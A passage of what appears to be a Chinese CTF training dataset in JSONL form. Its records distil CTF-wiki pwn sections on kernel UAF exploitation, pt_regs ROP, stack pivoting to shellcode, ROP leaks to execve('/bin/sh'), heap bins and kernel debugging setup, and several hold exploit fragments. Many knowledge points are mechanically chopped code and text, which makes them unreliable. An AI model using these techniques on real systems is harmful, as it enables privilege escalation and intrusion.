"chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "加载阶段", "heading_path": ["FGKASLR", "实现", "加载阶段"], "original_id": "docs-c101cd923ab2bbc1489c", "original_line": 686, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/randomization/fgkaslr.md", "source_root": "docs", "source_sha256": "7a1e8456215c0c527a2cc2e29a0de89ed5de3cf8eafa1490bc317a7ac74ec9d0", "split": "train", "split_group_key": "c8c772272a21462d12fcd827", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "defense", "code:c"], "title": "FGKASLR"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/randomization/fgkaslr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-450e726679eaf48689a0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「Large Bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > bin > Large Bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Large Bin”展开。\n- 124 + (((unsigned long) (sz)) >> 18) \\ : 126) // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \\ (((((unsigned l...\n- 此外，这 63 个 bin 被分成了 6 组，每组 bin 中的 chunk 大小之间的公差一致，具体如下： | 组 | 数量 | 公差 | | ---- | ---- | ------- | | 1 | 32 | 64B | | 2 | 16 | 512B | | 3 | 8 | 4096B | | 4 | 4 | 32768B | | 5 | 2 | 262144B | | 6 | 1 | 不限制 | 这里我们以 32 位平台的 large bin 为例，第一个 large bin 的起始 chunk 大...\n- ``c++ #define largebin_index_32(sz) \\ (((((unsigned long) (sz)) >> 6) <= 38) \\ ?\n- 56 + (((unsigned long) (sz)) >> 6) \\ : ((((unsigned long) (sz)) >> 9) <= 20) \\ ?\n- 91 + (((unsigned long) (sz)) >> 9) \\ : ((((unsigned long) (sz)) >> 12) <= 10) \\ ?\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 43 行，首行 `#define largebin_index_32(sz) \\`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2203, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Large Bin", "heading_path": ["define INTERNAL_SIZE_T size_t", "bin", "Large Bin"], "original_id": "docs-96fbb766010dfc6bf435", "original_line": 958, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "16aa7cb884b0d8bd397f2cbb", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-450fdfe0eb0e02d6ad6d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation\n路径分类：pwn / pwn/linux/kernel-mode\n分块：2/8\n\n核心知识点：\n- 本节主题围绕“Final Exploitation”展开。\n- if (socket_fd < 0) { log_error(\"[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\");\n- if (ret < 0) { log_error(\"[x] failed at setsockopt(PACKET_VERSION)\");\n- if (ret < 0) { log_error(\"[x] failed at setsockopt(PACKET_TX_RING)\");\n- } / init pgv-exploit subsystem :) / void prepare_pgv_system(void) { / pipe for pgv / pipe(cmd_pipe_req);\n- i++) { if (alloc_page(i, 0x1000, 1) < 0) { printf(\"[x] failed to create %d socket for pages spraying!\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5109, "chunk_count": 8, "chunk_index": 1, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Final Exploitation", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Final Exploitation"], "original_id": "docs-b51fc2ed30289d7f0a2e", "original_line": 751, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "c862ed64bfb2abce0964049c", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-45e094fc450050260350", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「32C3 CTF readme」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > Stack smash > 32C3 CTF readme\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“32C3 CTF readme”展开。\n- 方便读者复现, binary 也可以在 ctf-challenge 这个仓库找到\n- 这里，我们以 2015 年 32C3 CTF readme 为例进行介绍，该题目在 jarvisoj 上有复现。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 256, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "32C3 CTF readme", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "Stack smash", "32C3 CTF readme"], "original_id": "docs-ec1559a52bacd4081de2", "original_line": 66, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "7d9d79b8773b4315bdc2ceaa", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-460cde480bfdc618df01", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`\n标题：编写一个 Loadable Kernel Module\n章节：Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>”展开。\n- @$(MAKE) ：@$(MAKE) 指定了使用当前环境中的 MAKE 命令（这意味着我们在运行 make 命令时可以可以通过指定 MAKE= 更改其路径，默认值是 make ）。\n- LINUX_KERNEL_SRC ：这个变量指定了 Linux 内核源码目录，对于绝大多数 Linux 发行版而言，在安装了相应的软件包（例如 linux-headers ）后，在 /lib/modules/$(shell uname -r)/build 目录下都会存放着当前所用内核的源码以及编译系统文件，其中 $(shell uname -r) 意味着其值为 uname -r 的结果。\n- C $(LINUX_KERNEL_SRC) ：make 指令进入到内核源码目录进行。\n- M=$(A3KMOD_SRC_DIR)：指定参数 M 的值，对 modules 项而言代表要编译的内核模块的源码路径。\n- .PHONY：“伪目标”，即相比同名文件而言优先找 Makefile 中的标签定义，这里将 clean` 标签声明为伪目标。\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1135, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>", "heading_path": ["Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>"], "original_id": "docs-6282924fa98efc7a6c68", "original_line": 695, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "source_root": "docs", "source_sha256": "515975a5586b923eaaba1367517b2ebd6aa21fc9cee0a6411a4f62271a08f552", "split": "train", "split_group_key": "916dfbbfb25d4478ddbbab18", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "environment"], "title": "编写一个 Loadable Kernel Module"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-466925682d956de94fb1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「编译 BusyBox」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：搭建内核运行环境 > 使用 BusyBox 搭建基本的文件系统 > 下载编译 busybox > 编译 BusyBox\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“编译 BusyBox”展开。\n- 接下来我们配置编译选项，进入到源码根目录运行如下命令进入图形化配置界面： ``shell $ make menuconfig ` 勾选 Settings ---> Build static binary file (no shared lib) 以构建不依赖于 libc 的静态编译版本，因为我们的简易内核环境中只有 BusyBox，没有额外的 libc 等运行支持。\n- > 可选项：在 Linux System Utilities 中取消选中 Support mounting NFS file systems on Linux < 2.6.23 (NEW)；\n- 接下来进行编译： `shell $ make -j$(nproc) $ make install ` 编译完成后会生成一个 _install` 目录，接下来我们将会用它来构建我们的文件系统\n- 在 Networking Utilities 中取消选中 inetd。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `$ make menuconfig`\n- shell: 2 行，首行 `$ make -j$(nproc)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 428, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "编译 BusyBox", "heading_path": ["搭建内核运行环境", "使用 BusyBox 搭建基本的文件系统", "下载编译 busybox", "编译 BusyBox"], "original_id": "docs-cdc427d8c3e5c78e6815", "original_line": 706, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "b19070ee5a296697815a2f85", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:shell"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-46a19e5154ec6f569d3e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「leak stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：花式栈溢出技巧 > frame faking > 2018 安恒杯 over > leak stack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“leak stack”展开。\n- 为了控制 rbp, 我们需要知道某些地址, 可以发现当输入的长度为 80 时, 由于 read 并不会给输入末尾补上 '\\0', rbp 的值就会被 puts 打印出来, 这样我们就可以通过固定偏移知道栈上所有位置的地址了 ``C Breakpoint 1, 0x00000000004006b9 in ?\n- 比如我们可以在 0x7ffceaf11160 + 0x8 填上 leak libc 的 rop chain 并控制其返回到 sub_400676 函数来 leak libc。\n- ​ 然后在下一次利用时就可以通过 rop 执行 system(\"/bin/sh\") 或 execve(\"/bin/sh\", 0, 0) 来 get shell 了, 这道题目因为输入的长度足够, 我们可以布置调用 execve(\"/bin/sh\", 0, 0) 的利用链, 这种方法更稳妥(system(\"/bin/sh\")` 可能会因为 env 被破坏而失效), 不过由于利用过程中栈的结构会发生变化, 所以一些关键的偏移还需要通过调试来确定\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n\n代码/命令片段线索：\n- C: 51 行，首行 `Breakpoint 1, 0x00000000004006b9 in ?? ()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2722, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "leak stack", "heading_path": ["花式栈溢出技巧", "frame faking", "2018 安恒杯 over", "leak stack"], "original_id": "docs-92de0cbe14ca660b7363", "original_line": 65, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "1827c9a1bb27aef8afe2d679", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:c"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-46b6de45d56eeac31908", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「启动调试」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：cat /sys/module/a3kmod/sections/.data > 启动调试\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- qemu 其实提供了调试内核的接口，我们可以在启动参数中添加 -gdb dev 来启动调试服务。\n- 当我们以调试模式启动内核后，我们就可以在另外一个终端内使用如下命令来连接到对应的 gdbserver，开始调试。\n- QEMU 同时提供了一个简写的方式 -s，表示 -gdb tcp::1234，即在 1234 端口开启一个 gdbserver。\n- 最常见的操作为在一个端口监听一个 tcp 连接。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `gdb -q -ex \"target remote localhost:1234\"`\n- shell: 8 行，首行 `pwndbg> add-symbol-file ./test_kmod/src/a3kmod.ko -s .text 0xffffffffc008f000 -s .data 0xffffffffc0091038 -s .bss 0xf...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 902, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "启动调试", "heading_path": ["cat /sys/module/a3kmod/sections/.data", "启动调试"], "original_id": "docs-d56096e345556541606d", "original_line": 713, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "d8ece2c39e32f73c021e1dad", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:shell"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-47204ff05e787049b383", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「解法：UAF + seq_operations + pt_regs + ROP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`\n标题：利用 pt\\_regs 构造通用内核 ROP\n章节：利用 pt\\_regs 构造通用内核 ROP > _例题：西湖论剑2021线上初赛 - easykernel_ > 解法：UAF + seq_operations + pt_regs + ROP\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解法：UAF + seq_operations + pt_regs + ROP”展开。\n- 控制了内核执行流之后，我们来看如何进一步进行提权，不难想到的是我们可以在 pt_regs 上布置 ROP chain，之后直接使用形如 add rsp;\n- 既然我们有一个直接的大小不限的 UAF 漏洞，那么解法就是多种多样的了。\n- void get_root_shell(void) { if(getuid()) { log_error(\"[x] Failed to get the root!\n- if (dev_fd < 0) { err_exit(\"FAILED to open the /dev/rwctf file!\n- } puts(INFO_MSG(\"[] Allocating object and UAF as seq_operations...\"));\n\n关键术语：\n- UAF\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 6 行，首行 `struct seq_operations {`\n- c: 6 行，首行 `ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)`\n- c: 154 行，首行 `/**`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4964, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "解法：UAF + seq_operations + pt_regs + ROP", "heading_path": ["利用 pt\\_regs 构造通用内核 ROP", "_例题：西湖论剑2021线上初赛 - easykernel_", "解法：UAF + seq_operations + pt_regs + ROP"], "original_id": "docs-49769e7dbfabf2cf9f73", "original_line": 817, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "source_root": "docs", "source_sha256": "60e580f7ce73c459c08c4499a5bb30ee34f036c46304ad9c8c52ace8a2cf248e", "split": "train", "split_group_key": "9117af40a33e00f55e03913a", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "利用 pt\\_regs 构造通用内核 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4743bdd6a7e1be0d75a8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「例1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：花式栈溢出技巧 > stack pivoting > 示例 > 例1\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例1”展开。\n- 由于程序本身并没有开启堆栈保护，所以我们可以在栈上布置shellcode 并执行。\n- 基本利用思路如下 - 利用栈溢出布置 shellcode - 控制 eip 指向 shellcode 处 第一步，还是比较容易地，直接读取即可，但是由于程序本身会开启 ASLR 保护，所以我们很难直接知道 shellcode 的地址。\n- 但是栈上相对偏移是固定的，所以我们可以利用栈溢出对 esp 进行操作，使其指向 shellcode 处，并且直接控制程序跳转至 esp处。\n- 首先，查看程序的安全保护，如下 ``shell ➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ` 可以看出源程序为 32 位，也没有开启 NX 保护，下面我们来找一下程序的漏...\n- `shell ➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret' Gadgets information ============================================================ 0x08048504 : jmp esp 0x0804836a : ret 0x0804847e : ret 0xeac1 Unique gadgets...\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n- code:c\n- code:text\n- code:asm\n- code:python\n\n代码/命令片段线索：\n- shell: 7 行，首行 `➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w`\n- C: 13 行，首行 `signed int vul()`\n- shell: 7 行，首行 `➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret'`\n- text: 1 行，首行 `shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2100, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "例1", "heading_path": ["花式栈溢出技巧", "stack pivoting", "示例", "例1"], "original_id": "docs-ca7f9c9187c7f6d9058b", "original_line": 1257, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "2d3e156e456cfb1f4f65a246", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:shell", "code:c", "code:text", "code:asm", "code:python"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-47453c19db7f8f90d763", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「一、\\_OBJECT\\_HEADER：对象基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > “一切皆对象” > 一、\\_OBJECT\\_HEADER：对象基本信息\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“一、\\_OBJECT\\_HEADER：对象基本信息”展开。\n- 在 NT kernel 中 _OBJECT_HEADER 结构体用来存储对象的基本信息，定义如下： ``powershell kd> dt nt!\n- _OBJECT_HEADER_PROCESS_INFO | 0x08 | 在NT kernel 19H1 版本以前，Windows 内核仅使用 Pool Allocator ，此时对于每个分配的内核池对象都有一个 _POOL_HEADER 结构体存储相应的信息： `powershell kd> dt nt!\n- _OBJECT_HEADER_CREATOR_INFO | 0x10 | | 0x02 | nt!\n- _OBJECT_HEADER_NAME_INFO | 0x10 | | 0x04 | nt!\n- _OBJECT_HEADER_HANDLE_INFO | 0x08 | | 0x08 | nt!\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n- code:powershell\n\n代码/命令片段线索：\n- powershell: 24 行，首行 `kd> dt nt!_OBJECT_HEADER`\n- powershell: 10 行，首行 `kd> dt nt!_POOL_HEADER`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2093, "chunk_count": 1, "chunk_index": 0, 